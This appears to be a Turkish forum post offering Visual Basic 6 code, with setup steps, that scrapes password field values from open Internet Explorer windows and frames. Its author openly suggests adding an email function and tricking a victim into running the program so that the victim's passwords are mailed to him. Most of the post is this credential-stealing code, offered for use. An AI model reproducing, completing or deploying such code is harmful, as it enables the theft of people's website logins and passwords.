Forum
Aktif konular
Üyeler
Kurallar
Arama
Asterie Password Cracker Asterie Password Cracker
-
selam ben holocaust
Bu bölümde sizlere internette dolanırken kullanıcı adı ve şifrenizle giriş yaptığınız
sitelerin adlarını ve kullanıcı adınızı bide şifrenizi alamayı anlatacağım
Visual basic derleyinicizi açın..
form üzerine
form adı : frmmain
1 command buton : cmdPasswords
1 textbox : txtPasswords
yerleştirin
command butonun caption'ını İnternet Şifrelerini Göster Yapın
Textbox un multiline özelliğini true, scrollbars özelliğinide both yapın
ardından formun general declaration una kodu yapıştır
işte bukadar.. gerisi sizin yaratıcılığınıza kalmış.. ister programa mail gönderme fonk-
siyonu koyup bi kurbana yutturursunuz şifreleri size mail olarak gelir.. ister unuttuğunuz
şifrelerinizi geri hatırlamak için kullanırsınız..
Private strCurrTitleAs String
Private Function CanAccessDocumentObject(Obj As Object) As Boolean
Dim oDocumentAs Object
On Error GoTo err1:
Set oDocument = Obj.document
Set oDocument = Nothing
CanAccessDocumentObject = True
Exit Function
err1:
CanAccessDocumentObject = False
End Function
Private Function IsPasswordBox(objElement As Object) As Boolean
On Error GoTo err1
If LCase(objElement.getAttribute("Type")) = "password" Then
IsPasswordBox = True
Else
IsPasswordBox = False
End If
Exit Function
err1:
IsPasswordBox = False
End Function
Private Function SearchPasswordsInDoc(objDoc As Object) As Boolean
Dim objElement As Object
Dim lngLenAs Long
Dim lngIndexAs Long
Dim blnFoundAs Boolean
lngLen = objDoc.All.length
For Each objElement In objDoc.All
DoEvents
If IsPasswordBox(objElement) Then
txtPasswords.Text = txtPasswords.Text & "Window Title: " & strCurrTitle & vbCrLf
txtPasswords.Text = txtPasswords.Text & "Password: " & objElement.getAttribute("Value") & vbCrLf & vbCrLf
blnFound = True
End If
Next
lngLen = objDoc.frames.length
For lngIndex = 0 To lngLen - 1
If CanAccessDocumentObject(objDoc.frames.Item(lngIndex)) Then
If SearchPasswordsInDoc(objDoc.frames.Item(lngIndex).document) Then blnFound = True
End If
Next
SearchPasswordsInDoc = blnFound
End Function
Private Sub ScanPasswords()
Dim objShellWinsAs New SHDocVw.ShellWindows
Dim objExplorerAs SHDocVw.InternetExplorer
Dim objDocumentAs HTMLDocument
Dim blnFoundAs Boolean
Dim blnResultAs Boolean
txtPasswords = "Şifreler Alınıyor.. Bekleyin..." & vbCrLf & vbCrLf
Screen.MousePointer = vbHourglass
For Each objExplorer In objShellWins
If TypeOf objExplorer.document Is HTMLDocument Then
Set objDocument = objExplorer.document
strCurrTitle = objDocument.Title
blnResult = SearchPasswordsInDoc(objDocument)
If blnResult Then blnFound = True
End If
Next
If Not blnFound Then
txtPasswords.Text = txtPasswords.Text & "Şifre Bulunamadı..." & vbCrLf
Else
txtPasswords.Text = txtPasswords.Text & "Şifreler Alındı..." & vbCrLf
End If
Screen.MousePointer = vbDefault
End Sub
Private Sub cmdPasswords_Click()
On Error GoTo err1
ScanPasswords
Exit Sub
err1:
Screen.MousePointer = vbDefault
MsgBox "Error " & CStr(Err.Number) & ": " & Err.Description, vbOKOnly Or vbExclamation, ""
End Sub -
arkadaşım kusura bakma dalgınlığıma gelmiş yazmamışım
hata vermesinin sebebi nesne kütüphanesinin loaded edilmemesidir...
"Project" Menüsünden "References" e Girin
Ekrana Gelen Bileşen Listesinde
+Microsoft HTML Object Library
+Microsoft Internet Controls
Bileşenlerini İşaretleyin. Herhangi Bir Sorunla Karşılaşırsanız
Holocaust@w.cn adresine mail atın...
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Toplam Hit: 1772 Toplam Mesaj: 2
Cevapla